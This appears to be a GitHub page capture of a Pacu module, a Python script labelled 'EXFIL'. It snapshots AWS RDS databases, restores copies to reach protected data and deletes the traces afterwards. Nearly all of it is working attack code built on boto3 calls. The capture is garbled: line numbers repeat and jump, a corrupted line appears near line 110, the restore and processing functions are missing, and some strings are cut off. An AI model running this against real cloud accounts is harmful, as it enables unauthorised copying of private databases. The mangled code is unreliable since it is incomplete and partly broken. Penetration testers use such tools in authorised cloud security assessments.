

 **Ryan Gerstenkorn** Support for packaging (#247) 


743f9c9 · 3 years ago 


253 lines (217 loc) · 9.02 KB


Code

Blame

Raw







```
1  #!/usr/bin/env python3
2  import argparse
3  from pathlib import Path
4  import json
5  import random
6  import string
7
8  from botocore.exceptions import ClientError
9
10  module_info = {
11      'name': 'rds__explore_snapshots',
12      'author': 'Alexander Morgenstern alexander.morgenstern@rhinosecuritylabs.com',
13      'category': 'EXFIL',
14      'one_liner': 'Creates copies of running RDS databases to access protected information',
15      'description': 'Creates a snapshot of all database instances, restores new database instances f',
16      'services': ['RDS'],
17      'prerequisite_modules': [],
18      'external_dependencies': [],
19      'arguments_to_autocomplete': ['--regions'],
20  }
21  parser = argparse.ArgumentParser(add_help=False, description=module_info['description'])
22  parser.add_argument('--regions', required=False, default=None, help='One or more (comma separated)
23
24  TEMP_FILE = Path(__file__).parent / 'temp.json'
25  WAIT_CONFIG = {'Delay': 10}
26
```

```
27
28  def mark_temp(resource):
29      if 'DBInstanceArn' in resource:
30          key = 'Instances'
31          identifier = resource['DBInstanceArn']
32      else:
33          key = 'Snapshots'
34          identifier = resource['DBSnapshotArn']
35      data = read_temp()
36      data[key][identifier] = resource
37      write_temp(data)
38
39
40  def remove_temp(resource):
41      if 'DBInstanceArn' in resource:
42          key = 'Instances'
43          identifier = resource['DBInstanceArn']
44      else:
45          key = 'Snapshots'
46          identifier = resource['DBSnapshotArn']
47      data = read_temp()
48      del data[key][identifier]
49      write_temp(data)
50
51
52  def read_temp():
53      with TEMP_FILE.open('r') as infile:
54          data = json.load(infile)
55      return data
56
57
58  def write_temp(data):
59      with TEMP_FILE.open('w') as outfile:
60          json.dump(data, outfile, default=str)
61
62
63  def cleanup(pacu):
64      data = read_temp()
65      success = True
66      for instance in data['Instances']:
67          client = pacu.get_boto3_client('rds', data['Instances'][instance]['AvailabilityZone'][:-1])
68          if not delete_instance(client, instance, pacu.print):
69              success = False
70      for snapshot in data['Snapshots']:
71          client = pacu.get_boto3_client('rds', data['Snapshots'][snapshot]['AvailabilityZone'][:-1])
72          if not delete_snapshot(client, snapshot, pacu.print):
```

```
73         success = False
74     return success
75
76
77     def main(args, pacu):
78         """Main module function, called from Pacu"""
79         args = parser.parse_args(args)
80         if args.regions:
81             regions = args.regions.split(',')
82         else:
83             regions = pacu.get_regions('rds')
84         if not cleanup(pacu):
85             if pacu.input(' Cleanup Failed. Continue? (y/n) ') != 'y':
86                 return {'fail': 'Failed to delete temporary data.'}
87         summary_data = {'instances': 0}
88         for region in regions:
89             pacu.print('Region: {}'.format(region))
90             client = pacu.get_boto3_client('rds', region)
91             pacu.print(' Getting RDS instances...')
92             active_instances = get_all_region_instances(client, pacu.print)
93             pacu.print(' Found {} RDS instance(s)'.format(len(active_instances)))
94             for instance in active_instances:
95                 prompt = ' Target: {} (y/n)? '.format(instance['DBInstanceIdentifier'])
96                 if pacu.input(prompt).lower() != 'y':
97                     continue
98                 pacu.print(' Creating temporary snapshot...')
99                 temp_snapshot = create_snapshot_from_instance(client, instance, pacu.print)
100                 if not temp_snapshot:
101                     pacu.print(' Failed to create temporary snapshot')
102                     continue
103
104                 pacu.print(' Restoring temporary instance from snapshot...')
105                 temp_instance = restore_instance_from_snapshot(client, temp_snapshot, pacu.print)
106                 if not temp_instance:
107                     pacu.print(' Failed to create temporary instance')
108                     delete_snapshot(client, temp_snapshot, pacu.print)
109                     continue
110
111                 process_instance(pacu, client, temp_instance)
112
113                 pacu.print(' Deleting temporary resources...')
114                 delete_instance(client, temp_instance, pacu.print)
115                 delete_snapshot(client, temp_snapshot, pacu.print)
116                 summary_data['instances'] += 1
117         if not cleanup(pacu):
118             summary_data['fail'] = 'Failed to delete temporary data '
```

```
110         summary_data["full"] = failed to delete temporary data.
```

```
180         WaiterConfig=WAIT_CONFIG,
181     )
182     try:
183         response = client.delete_db_snapshot(
184             DBSnapshotIdentifier=snapshot['DBSnapshotIdentifier']
185         )
186         remove_temp(response['DBSnapshot'])
187         return True
188     except ClientError as error:
189         print('        ' + error.response['Error']['Code'])
190     return False
191
192
193 ▼ def delete_instance(client, instance, print):
194     waiter = client.get_waiter('db_instance_available')
195     waiter.wait(
196         DBInstanceIdentifier=instance['DBInstanceIdentifier'],
197         WaiterConfig=WAIT_CONFIG,
198     )
199     try:
200         response = client.delete_db_instance(
201             DBInstanceIdentifier=instance['DBInstanceIdentifier'],
202             SkipFinalSnapshot=True,
203         )
204         remove_temp(response['DBInstance'])
205     except ClientError as error:
206         print('        ' + error.response['Error']['Code'])
207         return False
208     waiter = client.get_waiter('db_instance_deleted')
209     waiter.wait(
```

```
210         DBInstanceIdentifier=instance['DBInstanceIdentifier'],
211         WaiterConfig=WAIT_CONFIG,
212     )
213     return True
214
215
216 ▼ def create_snapshot_from_instance(client, instance, print):
217     waiter = client.get_waiter('db_instance_available')
218     waiter.wait(
219         DBInstanceIdentifier=instance['DBInstanceIdentifier'],
220         WaiterConfig=WAIT_CONFIG,
221     )
222     try:
223         response = client.create_db_snapshot(
224             DBSnapshotIdentifier=instance['DBInstanceIdentifier'] + '-copy',
225             DBInstanceIdentifier=instance['DBInstanceIdentifier'],
226         )
227         mark_temp(response['DBSnapshot'])
228         return response['DBSnapshot']
229     except ClientError as error:
230         print(' ' + error.response['Error']['Code'])
231     return {}
232
233
234 ▼ def get_all_region_instances(client, print):
235     out = []
236     paginator = client.get_paginator('describe_db_instances')
237     pages = paginator.paginate()
238     try:
239         for page in pages:
240             out.extend(page['DBInstances'])
241         return out
242     except ClientError as error:
243         print(' ' + error.response['Error']['Code'])
244         return []
245
246
247 ▼ def summary(data, pacu_main):
248     if 'fail' in data:
249         out = data['fail'] + '\n'
250     else:
251         out = ' No issues cleaning up temporary data\n'
252     out += ' {} Copy Instance(s) Launched'.format(data['instances'])
253     return out
```

